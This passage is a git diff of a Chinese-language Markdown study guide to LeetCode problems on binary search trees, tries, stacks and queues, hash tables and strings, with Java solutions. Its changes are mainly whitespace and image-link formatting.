+    if (root == null) return;
+    inOrder(root.left, nums);
+    nums.add(root.val);
+    inOrder(root.right, nums);
 }
 ```
 
-**在二叉查找树中查找两个节点之差的最小绝对值** 
+**在二叉查找树中查找两个节点之差的最小绝对值**
 
-[530. Minimum Absolute Difference in BST (Easy)](https://leetcode.com/problems/minimum-absolute-difference-in-bst/description/)
+[530. Minimum Absolute Difference in BST (Easy)](https://leetcode.com/problems/minimum-absolute-difference-in-bst/description/)
 
 ```html
 Input:
 
-   1
-    \
-     3
-    /
-   2
+   1
+    \
+     3
+    /
+   2
 
 Output:
 
@@ -5225,1251 +5169,1251 @@ Output:
 利用二叉查找树的中序遍历为有序的性质，计算中序遍历中临近的两个节点之差的绝对值，取最小值。
 
 ```java
-private int minDiff = Integer.MAX_VALUE;
-private TreeNode preNode = null;
+private int minDiff = Integer.MAX_VALUE;
+private TreeNode preNode = null;
 
-public int getMinimumDifference(TreeNode root) {
-    inOrder(root);
-    return minDiff;
+public int getMinimumDifference(TreeNode root) {
+    inOrder(root);
+    return minDiff;
 }
 
-private void inOrder(TreeNode node) {
-    if (node == null) return;
-    inOrder(node.left);
-    if (preNode != null) minDiff = Math.min(minDiff, node.val - preNode.val);
-    preNode = node;
-    inOrder(node.right);
+private void inOrder(TreeNode node) {
+    if (node == null) return;
+    inOrder(node.left);
+    if (preNode != null) minDiff = Math.min(minDiff, node.val - preNode.val);
+    preNode = node;
+    inOrder(node.right);
 }
 ```
 
-**寻找二叉查找树中出现次数最多的值** 
+**寻找二叉查找树中出现次数最多的值**
 
-[501. Find Mode in Binary Search Tree (Easy)](https://leetcode.com/problems/find-mode-in-binary-search-tree/description/)
+[501. Find Mode in Binary Search Tree (Easy)](https://leetcode.com/problems/find-mode-in-binary-search-tree/description/)
 
 ```html
-   1
-    \
-     2
-    /
-   2
+   1
+    \
+     2
+    /
+   2
 
-return [2].
+return [2].
 ```
 
 答案可能不止一个，也就是有多个值出现的次数一样多。
 
 ```java
-private int curCnt = 1;
-private int maxCnt = 1;
-private TreeNode preNode = null;
+private int curCnt = 1;
+private int maxCnt = 1;
+private TreeNode preNode = null;
 
-public int[] findMode(TreeNode root) {
-    List<Integer> maxCntNums = new ArrayList<>();
-    inOrder(root, maxCntNums);
-    int[] ret = new int[maxCntNums.size()];
-    int idx = 0;
-    for (int num : maxCntNums) {
-        ret[idx++] = num;
-    }
-    return ret;
+public int[] findMode(TreeNode root) {
+    List<Integer> maxCntNums = new ArrayList<>();
+    inOrder(root, maxCntNums);
+    int[] ret = new int[maxCntNums.size()];
+    int idx = 0;
+    for (int num : maxCntNums) {
+        ret[idx++] = num;
+    }
+    return ret;
 }
 
-private void inOrder(TreeNode node, List<Integer> nums) {
-    if (node == null) return;
-    inOrder(node.left, nums);
-    if (preNode != null) {
-        if (preNode.val == node.val) curCnt++;
-        else curCnt = 1;
-    }
-    if (curCnt > maxCnt) {
-        maxCnt = curCnt;
-        nums.clear();
-        nums.add(node.val);
-    } else if (curCnt == maxCnt) {
-        nums.add(node.val);
-    }
-    preNode = node;
-    inOrder(node.right, nums);
+private void inOrder(TreeNode node, List<Integer> nums) {
+    if (node == null) return;
+    inOrder(node.left, nums);
+    if (preNode != null) {
+        if (preNode.val == node.val) curCnt++;
+        else curCnt = 1;
+    }
+    if (curCnt > maxCnt) {
+        maxCnt = curCnt;
+        nums.clear();
+        nums.add(node.val);
+    } else if (curCnt == maxCnt) {
+        nums.add(node.val);
+    }
+    preNode = node;
+    inOrder(node.right, nums);
 }
 ```
 
-### Trie
+### Trie
 
-<div align="center"> <img src="pics/5c638d59-d4ae-4ba4-ad44-80bdc30f38dd.jpg"/> </div><br>
+![](index_files/5c638d59-d4ae-4ba4-ad44-80bdc30f38dd.jpg)
 
 Trie，又称前缀树或字典树，用于判断字符串是否存在或者是否具有某种字符串前缀。
 
-**实现一个 Trie** 
+**实现一个 Trie**
 
-[208. Implement Trie (Prefix Tree) (Medium)](https://leetcode.com/problems/implement-trie-prefix-tree/description/)
+[208. Implement Trie (Prefix Tree) (Medium)](https://leetcode.com/problems/implement-trie-prefix-tree/description/)
 
 ```java
-class Trie {
+class Trie {
 
-    private class Node {
-        Node[] childs = new Node[26];
-        boolean isLeaf;
-    }
+    private class Node {
+        Node[] childs = new Node[26];
+        boolean isLeaf;
+    }
 
-    private Node root = new Node();
+    private Node root = new Node();
 
-    public Trie() {
-    }
+    public Trie() {
+    }
 
-    public void insert(String word) {
-        insert(word, root);
-    }
+    public void insert(String word) {
+        insert(word, root);
+    }
 
-    private void insert(String word, Node node) {
-        if (node == null) return;
-        if (word.length() == 0) {
-            node.isLeaf = true;
-            return;
-        }
-        int index = indexForChar(word.charAt(0));
-        if (node.childs[index] == null) {
-            node.childs[index] = new Node();
-        }
-        insert(word.substring(1), node.childs[index]);
-    }
+    private void insert(String word, Node node) {
+        if (node == null) return;
+        if (word.length() == 0) {
+            node.isLeaf = true;
+            return;
+        }
+        int index = indexForChar(word.charAt(0));
+        if (node.childs[index] == null) {
+            node.childs[index] = new Node();
+        }
+        insert(word.substring(1), node.childs[index]);
+    }
 
-    public boolean search(String word) {
-        return search(word, root);
-    }
+    public boolean search(String word) {
+        return search(word, root);
+    }
 
-    private boolean search(String word, Node node) {
-        if (node == null) return false;
-        if (word.length() == 0) return node.isLeaf;
-        int index = indexForChar(word.charAt(0));
-        return search(word.substring(1), node.childs[index]);
-    }
+    private boolean search(String word, Node node) {
+        if (node == null) return false;
+        if (word.length() == 0) return node.isLeaf;
+        int index = indexForChar(word.charAt(0));
+        return search(word.substring(1), node.childs[index]);
+    }
 
-    public boolean startsWith(String prefix) {
-        return startWith(prefix, root);
-    }
+    public boolean startsWith(String prefix) {
+        return startWith(prefix, root);
+    }
 
-    private boolean startWith(String prefix, Node node) {
-        if (node == null) return false;
-        if (prefix.length() == 0) return true;
-        int index = indexForChar(prefix.charAt(0));
-        return startWith(prefix.substring(1), node.childs[index]);
-    }
+    private boolean startWith(String prefix, Node node) {
+        if (node == null) return false;
+        if (prefix.length() == 0) return true;
+        int index = indexForChar(prefix.charAt(0));
+        return startWith(prefix.substring(1), node.childs[index]);
+    }
 
-    private int indexForChar(char c) {
-        return c - 'a';
-    }
+    private int indexForChar(char c) {
+        return c - 'a';
+    }
 }
 ```
 
-**实现一个 Trie，用来求前缀和** 
+**实现一个 Trie，用来求前缀和**
 
-[677. Map Sum Pairs (Medium)](https://leetcode.com/problems/map-sum-pairs/description/)
+[677. Map Sum Pairs (Medium)](https://leetcode.com/problems/map-sum-pairs/description/)
 
 ```html
-Input: insert("apple", 3), Output: Null
-Input: sum("ap"), Output: 3
-Input: insert("app", 2), Output: Null
-Input: sum("ap"), Output: 5
+Input: insert("apple", 3), Output: Null
+Input: sum("ap"), Output: 3
+Input: insert("app", 2), Output: Null
+Input: sum("ap"), Output: 5
 ```
 
 ```java
-class MapSum {
+class MapSum {
 
-    private class Node {
-        Node[] child = new Node[26];
-        int value;
-    }
+    private class Node {
+        Node[] child = new Node[26];
+        int value;
+    }
 
-    private Node root = new Node();
+    private Node root = new Node();
 
-    public MapSum() {
+    public MapSum() {
 
-    }
+    }
 
-    public void insert(String key, int val) {
-        insert(key, root, val);
-    }
+    public void insert(String key, int val) {
+        insert(key, root, val);
+    }
 
-    private void insert(String key, Node node, int val) {
-        if (node == null) return;
-        if (key.length() == 0) {
-            node.value = val;
-            return;
-        }
-        int index = indexForChar(key.charAt(0));
-        if (node.child[index] == null) {
-            node.child[index] = new Node();
-        }
-        insert(key.substring(1), node.child[index], val);
-    }
+    private void insert(String key, Node node, int val) {
+        if (node == null) return;
+        if (key.length() == 0) {
+            node.value = val;
+            return;
+        }
+        int index = indexForChar(key.charAt(0));
+        if (node.child[index] == null) {
+            node.child[index] = new Node();
+        }
+        insert(key.substring(1), node.child[index], val);
+    }
 
-    public int sum(String prefix) {
-        return sum(prefix, root);
-    }
+    public int sum(String prefix) {
+        return sum(prefix, root);
+    }
 
-    private int sum(String prefix, Node node) {
-        if (node == null) return 0;
-        if (prefix.length() != 0) {
-            int index = indexForChar(prefix.charAt(0));
-            return sum(prefix.substring(1), node.child[index]);
-        }
-        int sum = node.value;
-        for (Node child : node.child) {
-            sum += sum(prefix, child);
-        }
-        return sum;
-    }
+    private int sum(String prefix, Node node) {
+        if (node == null) return 0;
+        if (prefix.length() != 0) {
+            int index = indexForChar(prefix.charAt(0));
+            return sum(prefix.substring(1), node.child[index]);
+        }
+        int sum = node.value;
+        for (Node child : node.child) {
+            sum += sum(prefix, child);
+        }
+        return sum;
+    }
 
-    private int indexForChar(char c) {
-        return c - 'a';
-    }
+    private int indexForChar(char c) {
+        return c - 'a';
+    }
 }
 ```
 
 
-## 栈和队列
+## 栈和队列
 
-**用栈实现队列** 
+**用栈实现队列**
 
-[232. Implement Queue using Stacks (Easy)](https://leetcode.com/problems/implement-queue-using-stacks/description/)
+[232. Implement Queue using Stacks (Easy)](https://leetcode.com/problems/implement-queue-using-stacks/description/)
 
 栈的顺序为后进先出，而队列的顺序为先进先出。使用两个栈实现队列，一个元素需要经过两个栈才能出队列，在经过第一个栈时元素顺序被反转，经过第二个栈时再次被反转，此时就是先进先出顺序。
 
 ```java
-class MyQueue {
+class MyQueue {
 
-    private Stack<Integer> in = new Stack<>();
-    private Stack<Integer> out = new Stack<>();
+    private Stack<Integer> in = new Stack<>();
+    private Stack<Integer> out = new Stack<>();
 
-    public void push(int x) {
-        in.push(x);
-    }
+    public void push(int x) {
+        in.push(x);
+    }
 
-    public int pop() {
-        in2out();
-        return out.pop();
-    }
+    public int pop() {
+        in2out();
+        return out.pop();
+    }
 
-    public int peek() {
-        in2out();
-        return out.peek();
-    }
+    public int peek() {
+        in2out();
+        return out.peek();
+    }
 
-    private void in2out() {
-        if (out.isEmpty()) {
-            while (!in.isEmpty()) {
-                out.push(in.pop());
-            }
-        }
-    }
+    private void in2out() {
+        if (out.isEmpty()) {
+            while (!in.isEmpty()) {
+                out.push(in.pop());
+            }
+        }
+    }
 
-    public boolean empty() {
-        return in.isEmpty() && out.isEmpty();
-    }
+    public boolean empty() {
+        return in.isEmpty() && out.isEmpty();
+    }
 }
 ```
 
-**用队列实现栈** 
+**用队列实现栈**
 
-[225. Implement Stack using Queues (Easy)](https://leetcode.com/problems/implement-stack-using-queues/description/)
+[225. Implement Stack using Queues (Easy)](https://leetcode.com/problems/implement-stack-using-queues/description/)
 
-在将一个元素 x 插入队列时，为了维护原来的后进先出顺序，需要让 x 插入队列首部。而队列的默认插入顺序是队列尾部，因此在将 x 插入队列尾部之后，需要让除了 x 之外的所有元素出队列，再入队列。
+在将一个元素 x 插入队列时，为了维护原来的后进先出顺序，需要让 x 插入队列首部。而队列的默认插入顺序是队列尾部，因此在将 x 插入队列尾部之后，需要让除了 x 之外的所有元素出队列，再入队列。
 
 ```java
-class MyStack {
+class MyStack {
 
-    private Queue<Integer> queue;
+    private Queue<Integer> queue;
 
-    public MyStack() {
-        queue = new LinkedList<>();
-    }
+    public MyStack() {
+        queue = new LinkedList<>();
+    }
 
-    public void push(int x) {
-        queue.add(x);
-        int cnt = queue.size();
-        while (cnt-- > 1) {
-            queue.add(queue.poll());
-        }
-    }
+    public void push(int x) {
+        queue.add(x);
+        int cnt = queue.size();
+        while (cnt-- > 1) {
+            queue.add(queue.poll());
+        }
+    }
 
-    public int pop() {
-        return queue.remove();
-    }
+    public int pop() {
+        return queue.remove();
+    }
 
-    public int top() {
-        return queue.peek();
-    }
+    public int top() {
+        return queue.peek();
+    }
 
-    public boolean empty() {
-        return queue.isEmpty();
-    }
+    public boolean empty() {
+        return queue.isEmpty();
+    }
 }
 ```
 
-**最小值栈** 
+**最小值栈**
 
-[155. Min Stack (Easy)](https://leetcode.com/problems/min-stack/description/)
+[155. Min Stack (Easy)](https://leetcode.com/problems/min-stack/description/)
 
 ```java
-class MinStack {
+class MinStack {
 
-    private Stack<Integer> dataStack;
-    private Stack<Integer> minStack;
-    private int min;
+    private Stack<Integer> dataStack;
+    private Stack<Integer> minStack;
+    private int min;
 
-    public MinStack() {
-        dataStack = new Stack<>();
-        minStack = new Stack<>();
-        min = Integer.MAX_VALUE;
-    }
+    public MinStack() {
+        dataStack = new Stack<>();
+        minStack = new Stack<>();
+        min = Integer.MAX_VALUE;
+    }
 
-    public void push(int x) {
-        dataStack.add(x);
-        min = Math.min(min, x);
-        minStack.add(min);
-    }
+    public void push(int x) {
+        dataStack.add(x);
+        min = Math.min(min, x);
+        minStack.add(min);
+    }
 
-    public void pop() {
-        dataStack.pop();
-        minStack.pop();
-        min = minStack.isEmpty() ? Integer.MAX_VALUE : minStack.peek();
-    }
+    public void pop() {
+        dataStack.pop();
+        minStack.pop();
+        min = minStack.isEmpty() ? Integer.MAX_VALUE : minStack.peek();
+    }
 
-    public int top() {
-        return dataStack.peek();
-    }
+    public int top() {
+        return dataStack.peek();
+    }
 
-    public int getMin() {
-        return minStack.peek();
-    }
+    public int getMin() {
+        return minStack.peek();
+    }
 }
 ```
 
-对于实现最小值队列问题，可以先将队列使用栈来实现，然后就将问题转换为最小值栈，这个问题出现在 编程之美：3.7。
+对于实现最小值队列问题，可以先将队列使用栈来实现，然后就将问题转换为最小值栈，这个问题出现在 编程之美：3.7。
 
-**用栈实现括号匹配** 
+**用栈实现括号匹配**
 
-[20. Valid Parentheses (Easy)](https://leetcode.com/problems/valid-parentheses/description/)
+[20. Valid Parentheses (Easy)](https://leetcode.com/problems/valid-parentheses/description/)
 
 ```html
 "()[]{}"
 
-Output : true
+Output : true
 ```
 
 ```java
-public boolean isValid(String s) {
-    Stack<Character> stack = new Stack<>();
-    for (char c : s.toCharArray()) {
-        if (c == '(' || c == '{' || c == '[') {
-            stack.push(c);
-        } else {
-            if (stack.isEmpty()) {
-                return false;
-            }
-            char cStack = stack.pop();
-            boolean b1 = c == ')' && cStack != '(';
-            boolean b2 = c == ']' && cStack != '[';
-            boolean b3 = c == '}' && cStack != '{';
-            if (b1 || b2 || b3) {
-                return false;
-            }
-        }
-    }
-    return stack.isEmpty();
+public boolean isValid(String s) {
+    Stack<Character> stack = new Stack<>();
+    for (char c : s.toCharArray()) {
+        if (c == '(' || c == '{' || c == '[') {
+            stack.push(c);
+        } else {
+            if (stack.isEmpty()) {
+                return false;
+            }
+            char cStack = stack.pop();
+            boolean b1 = c == ')' && cStack != '(';
+            boolean b2 = c == ']' && cStack != '[';
+            boolean b3 = c == '}' && cStack != '{';
+            if (b1 || b2 || b3) {
+                return false;
+            }
+        }
+    }
+    return stack.isEmpty();
 }
 ```
 
-**数组中元素与下一个比它大的元素之间的距离** 
+**数组中元素与下一个比它大的元素之间的距离**
 
-[739. Daily Temperatures (Medium)](https://leetcode.com/problems/daily-temperatures/description/)
+[739. Daily Temperatures (Medium)](https://leetcode.com/problems/daily-temperatures/description/)
 
 ```html
-Input: [73, 74, 75, 71, 69, 72, 76, 73]
-Output: [1, 1, 4, 2, 1, 1, 0, 0]
+Input: [73, 74, 75, 71, 69, 72, 76, 73]
+Output: [1, 1, 4, 2, 1, 1, 0, 0]
 ```
 
 在遍历数组时用栈把数组中的数存起来，如果当前遍历的数比栈顶元素来的大，说明栈顶元素的下一个比它大的数就是当前元素。
 
 ```java
-public int[] dailyTemperatures(int[] temperatures) {
-    int n = temperatures.length;
-    int[] dist = new int[n];
-    Stack<Integer> indexs = new Stack<>();
-    for (int curIndex = 0; curIndex < n; curIndex++) {
-        while (!indexs.isEmpty() && temperatures[curIndex] > temperatures[indexs.peek()]) {
-            int preIndex = indexs.pop();
-            dist[preIndex] = curIndex - preIndex;
-        }
-        indexs.add(curIndex);
-    }
-    return dist;
+public int[] dailyTemperatures(int[] temperatures) {
+    int n = temperatures.length;
+    int[] dist = new int[n];
+    Stack<Integer> indexs = new Stack<>();
+    for (int curIndex = 0; curIndex < n; curIndex++) {
+        while (!indexs.isEmpty() && temperatures[curIndex] > temperatures[indexs.peek()]) {
+            int preIndex = indexs.pop();
+            dist[preIndex] = curIndex - preIndex;
+        }
+        indexs.add(curIndex);
+    }
+    return dist;
 }
 ```
 
-**循环数组中比当前元素大的下一个元素** 
+**循环数组中比当前元素大的下一个元素**
 
-[503. Next Greater Element II (Medium)](https://leetcode.com/problems/next-greater-element-ii/description/)
+[503. Next Greater Element II (Medium)](https://leetcode.com/problems/next-greater-element-ii/description/)
 
 ```text
-Input: [1,2,1]
-Output: [2,-1,2]
-Explanation: The first 1's next greater number is 2;
-The number 2 can't find next greater number;
-The second 1's next greater number needs to search circularly, which is also 2.
+Input: [1,2,1]
+Output: [2,-1,2]
+Explanation: The first 1's next greater number is 2;
+The number 2 can't find next greater number;
+The second 1's next greater number needs to search circularly, which is also 2.
 ```
 
-与 739. Daily Temperatures (Medium) 不同的是，数组是循环数组，并且最后要求的不是距离而是下一个元素。
+与 739. Daily Temperatures (Medium) 不同的是，数组是循环数组，并且最后要求的不是距离而是下一个元素。
 
 ```java
-public int[] nextGreaterElements(int[] nums) {
-    int n = nums.length;
-    int[] next = new int[n];
-    Arrays.fill(next, -1);
-    Stack<Integer> pre = new Stack<>();
-    for (int i = 0; i < n * 2; i++) {
-        int num = nums[i % n];
-        while (!pre.isEmpty() && nums[pre.peek()] < num) {
-            next[pre.pop()] = num;
-        }
-        if (i < n){
-            pre.push(i);
-        }
-    }
-    return next;
+public int[] nextGreaterElements(int[] nums) {
+    int n = nums.length;
+    int[] next = new int[n];
+    Arrays.fill(next, -1);
+    Stack<Integer> pre = new Stack<>();
+    for (int i = 0; i < n * 2; i++) {
+        int num = nums[i % n];
+        while (!pre.isEmpty() && nums[pre.peek()] < num) {
+            next[pre.pop()] = num;
+        }
+        if (i < n){
+            pre.push(i);
+        }
+    }
+    return next;
 }
 ```
 
-## 哈希表
+## 哈希表
 
-哈希表使用 O(N) 空间复杂度存储数据，并且以 O(1) 时间复杂度求解问题。
+哈希表使用 O(N) 空间复杂度存储数据，并且以 O(1) 时间复杂度求解问题。
 
-- Java 中的  **HashSet**  用于存储一个集合，可以查找元素是否在集合中。如果元素有穷，并且范围不大，那么可以用一个布尔数组来存储一个元素是否存在。例如对于只有小写字符的元素，就可以用一个长度为 26 的布尔数组来存储一个字符集合，使得空间复杂度降低为 O(1)。
+- Java 中的 **HashSet** 用于存储一个集合，可以查找元素是否在集合中。如果元素有穷，并且范围不大，那么可以用一个布尔数组来存储一个元素是否存在。例如对于只有小写字符的元素，就可以用一个长度为 26 的布尔数组来存储一个字符集合，使得空间复杂度降低为 O(1)。
 
-- Java 中的  **HashMap**  主要用于映射关系，从而把两个元素联系起来。HashMap 也可以用来对元素进行计数统计，此时键为元素，值为计数。和 HashSet 类似，如果元素有穷并且范围不大，可以用整型数组来进行统计。在对一个内容进行压缩或者其它转换时，利用 HashMap 可以把原始内容和转换后的内容联系起来。例如在一个简化 url 的系统中 [Leetcdoe : 535. Encode and Decode TinyURL (Medium)](https://leetcode.com/problems/encode-and-decode-tinyurl/description/)，利用 HashMap 就可以存储精简后的 url 到原始 url 的映射，使得不仅可以显示简化的 url，也可以根据简化的 url 得到原始 url 从而定位到正确的资源。
+- Java 中的 **HashMap** 主要用于映射关系，从而把两个元素联系起来。HashMap 也可以用来对元素进行计数统计，此时键为元素，值为计数。和 HashSet 类似，如果元素有穷并且范围不大，可以用整型数组来进行统计。在对一个内容进行压缩或者其它转换时，利用 HashMap 可以把原始内容和转换后的内容联系起来。例如在一个简化 url 的系统中 [Leetcdoe : 535. Encode and Decode TinyURL (Medium)](https://leetcode.com/problems/encode-and-decode-tinyurl/description/)，利用 HashMap 就可以存储精简后的 url 到原始 url 的映射，使得不仅可以显示简化的 url，也可以根据简化的 url 得到原始 url 从而定位到正确的资源。
 
 
-**数组中两个数的和为给定值** 
+**数组中两个数的和为给定值**
 
-[1. Two Sum (Easy)](https://leetcode.com/problems/two-sum/description/)
+[1. Two Sum (Easy)](https://leetcode.com/problems/two-sum/description/)
 
-可以先对数组进行排序，然后使用双指针方法或者二分查找方法。这样做的时间复杂度为 O(NlogN)，空间复杂度为 O(1)。
+可以先对数组进行排序，然后使用双指针方法或者二分查找方法。这样做的时间复杂度为 O(NlogN)，空间复杂度为 O(1)。
 
-用 HashMap 存储数组元素和索引的映射，在访问到 nums[i] 时，判断 HashMap 中是否存在 target - nums[i]，如果存在说明 target - nums[i] 所在的索引和 i 就是要找的两个数。该方法的时间复杂度为 O(N)，空间复杂度为 O(N)，使用空间来换取时间。
+用 HashMap 存储数组元素和索引的映射，在访问到 nums[i] 时，判断 HashMap 中是否存在 target - nums[i]，如果存在说明 target - nums[i] 所在的索引和 i 就是要找的两个数。该方法的时间复杂度为 O(N)，空间复杂度为 O(N)，使用空间来换取时间。
 
 ```java
-public int[] twoSum(int[] nums, int target) {
-    HashMap<Integer, Integer> indexForNum = new HashMap<>();
-    for (int i = 0; i < nums.length; i++) {
-        if (indexForNum.containsKey(target - nums[i])) {
-            return new int[]{indexForNum.get(target - nums[i]), i};
-        } else {
-            indexForNum.put(nums[i], i);
-        }
-    }
-    return null;
+public int[] twoSum(int[] nums, int target) {
+    HashMap<Integer, Integer> indexForNum = new HashMap<>();
+    for (int i = 0; i < nums.length; i++) {
+        if (indexForNum.containsKey(target - nums[i])) {
+            return new int[]{indexForNum.get(target - nums[i]), i};
+        } else {
+            indexForNum.put(nums[i], i);
+        }
+    }
+    return null;
 }
 ```
 
-**判断数组是否含有重复元素** 
+**判断数组是否含有重复元素**
 
-[217. Contains Duplicate (Easy)](https://leetcode.com/problems/contains-duplicate/description/)
+[217. Contains Duplicate (Easy)](https://leetcode.com/problems/contains-duplicate/description/)
 
 ```java
-public boolean containsDuplicate(int[] nums) {
-    Set<Integer> set = new HashSet<>();
-    for (int num : nums) {
-        set.add(num);
-    }
-    return set.size() < nums.length;
+public boolean containsDuplicate(int[] nums) {
+    Set<Integer> set = new HashSet<>();
+    for (int num : nums) {
+        set.add(num);
+    }
+    return set.size() < nums.length;
 }
 ```
 
-**最长和谐序列** 
+**最长和谐序列**
 
-[594. Longest Harmonious Subsequence (Easy)](https://leetcode.com/problems/longest-harmonious-subsequence/description/)
+[594. Longest Harmonious Subsequence (Easy)](https://leetcode.com/problems/longest-harmonious-subsequence/description/)
 
 ```html
-Input: [1,3,2,2,5,2,3,7]
-Output: 5
-Explanation: The longest harmonious subsequence is [3,2,2,2,3].
+Input: [1,3,2,2,5,2,3,7]
+Output: 5
+Explanation: The longest harmonious subsequence is [3,2,2,2,3].
 ```
 
-和谐序列中最大数和最小数只差正好为 1，应该注意的是序列的元素不一定是数组的连续元素。
+和谐序列中最大数和最小数只差正好为 1，应该注意的是序列的元素不一定是数组的连续元素。
 
 ```java
-public int findLHS(int[] nums) {
-    Map<Integer, Integer> countForNum = new HashMap<>();
-    for (int num : nums) {
-        countForNum.put(num, countForNum.getOrDefault(num, 0) + 1);
-    }
-    int longest = 0;
-    for (int num : countForNum.keySet()) {
-        if (countForNum.containsKey(num + 1)) {
-            longest = Math.max(longest, countForNum.get(num + 1) + countForNum.get(num));
-        }
-    }
-    return longest;
+public int findLHS(int[] nums) {
+    Map<Integer, Integer> countForNum = new HashMap<>();
+    for (int num : nums) {
+        countForNum.put(num, countForNum.getOrDefault(num, 0) + 1);
+    }
+    int longest = 0;
+    for (int num : countForNum.keySet()) {
+        if (countForNum.containsKey(num + 1)) {
+            longest = Math.max(longest, countForNum.get(num + 1) + countForNum.get(num));
+        }
+    }
+    return longest;
 }
 ```
 
-**最长连续序列** 
+**最长连续序列**
 
-[128. Longest Consecutive Sequence (Hard)](https://leetcode.com/problems/longest-consecutive-sequence/description/)
+[128. Longest Consecutive Sequence (Hard)](https://leetcode.com/problems/longest-consecutive-sequence/description/)
 
 ```html
-Given [100, 4, 200, 1, 3, 2],
-The longest consecutive elements sequence is [1, 2, 3, 4]. Return its length: 4.
+Given [100, 4, 200, 1, 3, 2],
+The longest consecutive elements sequence is [1, 2, 3, 4]. Return its length: 4.
 ```
 
-要求以 O(N) 的时间复杂度求解。
+要求以 O(N) 的时间复杂度求解。
 
 ```java
-public int longestConsecutive(int[] nums) {
-    Map<Integer, Integer> countForNum = new HashMap<>();
-    for (int num : nums) {
-        countForNum.put(num, 1);
-    }
-    for (int num : nums) {
-        forward(countForNum, num);
-    }
-    return maxCount(countForNum);
+public int longestConsecutive(int[] nums) {
+    Map<Integer, Integer> countForNum = new HashMap<>();
+    for (int num : nums) {
+        countForNum.put(num, 1);
+    }
+    for (int num : nums) {
+        forward(countForNum, num);
+    }
+    return maxCount(countForNum);
 }
 
-private int forward(Map<Integer, Integer> countForNum, int num) {
-    if (!countForNum.containsKey(num)) {
-        return 0;
-    }
-    int cnt = countForNum.get(num);
-    if (cnt > 1) {
-        return cnt;
-    }
-    cnt = forward(countForNum, num + 1) + 1;
-    countForNum.put(num, cnt);
-    return cnt;
+private int forward(Map<Integer, Integer> countForNum, int num) {
+    if (!countForNum.containsKey(num)) {
+        return 0;
+    }
+    int cnt = countForNum.get(num);
+    if (cnt > 1) {
+        return cnt;
+    }
+    cnt = forward(countForNum, num + 1) + 1;
+    countForNum.put(num, cnt);
+    return cnt;
 }
 
-private int maxCount(Map<Integer, Integer> countForNum) {
-    int max = 0;
-    for (int num : countForNum.keySet()) {
-        max = Math.max(max, countForNum.get(num));
-    }
-    return max;
+private int maxCount(Map<Integer, Integer> countForNum) {
+    int max = 0;
+    for (int num : countForNum.keySet()) {
+        max = Math.max(max, countForNum.get(num));
+    }
+    return max;
 }
 ```
 
-## 字符串
+## 字符串
 
-**字符串循环移位包含** 
+**字符串循环移位包含**
 
-[编程之美 3.1](#)
+[编程之美 3.1](#)
 
 ```html
-s1 = AABCD, s2 = CDAA
-Return : true
+s1 = AABCD, s2 = CDAA
+Return : true
 ```
 
-给定两个字符串 s1 和 s2，要求判定 s2 是否能够被 s1 做循环移位得到的字符串包含。
+给定两个字符串 s1 和 s2，要求判定 s2 是否能够被 s1 做循环移位得到的字符串包含。
 
-s1 进行循环移位的结果是 s1s1 的子字符串，因此只要判断 s2 是否是 s1s1 的子字符串即可。
+s1 进行循环移位的结果是 s1s1 的子字符串，因此只要判断 s2 是否是 s1s1 的子字符串即可。
 
-**字符串循环移位** 
+**字符串循环移位**
 
-[编程之美 2.17](#)
+[编程之美 2.17](#)
 
 ```html
-s = "abcd123" k = 3
-Return "123abcd"
+s = "abcd123" k = 3
+Return "123abcd"
 ```
 
-将字符串向右循环移动 k 位。
+将字符串向右循环移动 k 位。
 
-将 abcd123 中的 abcd 和 123 单独翻转，得到 dcba321，然后对整个字符串进行翻转，得到 123abcd。
+将 abcd123 中的 abcd 和 123 单独翻转，得到 dcba321，然后对整个字符串进行翻转，得到 123abcd。
 
-**字符串中单词的翻转** 
+**字符串中单词的翻转**
 
 [程序员代码面试指南](#)
 
 ```html
-s = "I am a student"
-Return "student a am I"
+s = "I am a student"
+Return "student a am I"
 ```
 
 将每个单词翻转，然后将整个字符串翻转。
 
-**两个字符串包含的字符是否完全相同** 
+**两个字符串包含的字符是否完全相同**
 
-[242. Valid Anagram (Easy)](https://leetcode.com/problems/valid-anagram/description/)
+[242. Valid Anagram (Easy)](https://leetcode.com/problems/valid-anagram/description/)
 
 ```html
-s = "anagram", t = "nagaram", return true.
-s = "rat", t = "car", return false.
+s = "anagram", t = "nagaram", return true.
+s = "rat", t = "car", return false.
 ```
 
-可以用 HashMap 来映射字符与出现次数，然后比较两个字符串出现的字符数量是否相同。
+可以用 HashMap 来映射字符与出现次数，然后比较两个字符串出现的字符数量是否相同。
 
-由于本题的字符串只包含 26 个小写字符，因此可以使用长度为 26 的整型数组对字符串出现的字符进行统计，不再使用 HashMap。
+由于本题的字符串只包含 26 个小写字符，因此可以使用长度为 26 的整型数组对字符串出现的字符进行统计，不再使用 HashMap。
 
 ```java
-public boolean isAnagram(String s, String t) {
-    int[] cnts = new int[26];
-    for (char c : s.toCharArray()) {
-        cnts[c - 'a']++;
-    }
-    for (char c : t.toCharArray()) {
-        cnts[c - 'a']--;
-    }
-    for (int cnt : cnts) {
-        if (cnt != 0) {
-            return false;
-        }
-    }
-    return true;
+public boolean isAnagram(String s, String t) {
+    int[] cnts = new int[26];
+    for (char c : s.toCharArray()) {
+        cnts[c - 'a']++;
+    }
+    for (char c : t.toCharArray()) {
+        cnts[c - 'a']--;
+    }
+    for (int cnt : cnts) {
+        if (cnt != 0) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-**计算一组字符集合可以组成的回文字符串的最大长度** 
+**计算一组字符集合可以组成的回文字符串的最大长度**
 
-[409. Longest Palindrome (Easy)](https://leetcode.com/problems/longest-palindrome/description/)
+[409. Longest Palindrome (Easy)](https://leetcode.com/problems/longest-palindrome/description/)
 
 ```html
-Input : "abccccdd"
-Output : 7
-Explanation : One longest palindrome that can be built is "dccaccd", whose length is 7.
+Input : "abccccdd"
+Output : 7
+Explanation : One longest palindrome that can be built is "dccaccd", whose length is 7.
 ```
 
-使用长度为 256 的整型数组来统计每个字符出现的个数，每个字符有偶数个可以用来构成回文字符串。
+使用长度为 256 的整型数组来统计每个字符出现的个数，每个字符有偶数个可以用来构成回文字符串。
 
 因为回文字符串最中间的那个字符可以单独出现，所以如果有单独的字符就把它放到最中间。
 
 ```java
-public int longestPalindrome(String s) {
-    int[] cnts = new int[256];
-    for (char c : s.toCharArray()) {
-        cnts[c]++;
-    }
-    int palindrome = 0;
-    for (int cnt : cnts) {
-        palindrome += (cnt / 2) * 2;
-    }
-    if (palindrome < s.length()) {
-        palindrome++;   // 这个条件下 s 中一定有单个未使用的字符存在，可以把这个字符放到回文的最中间
-    }
-    return palindrome;
+public int longestPalindrome(String s) {
+    int[] cnts = new int[256];
+    for (char c : s.toCharArray()) {
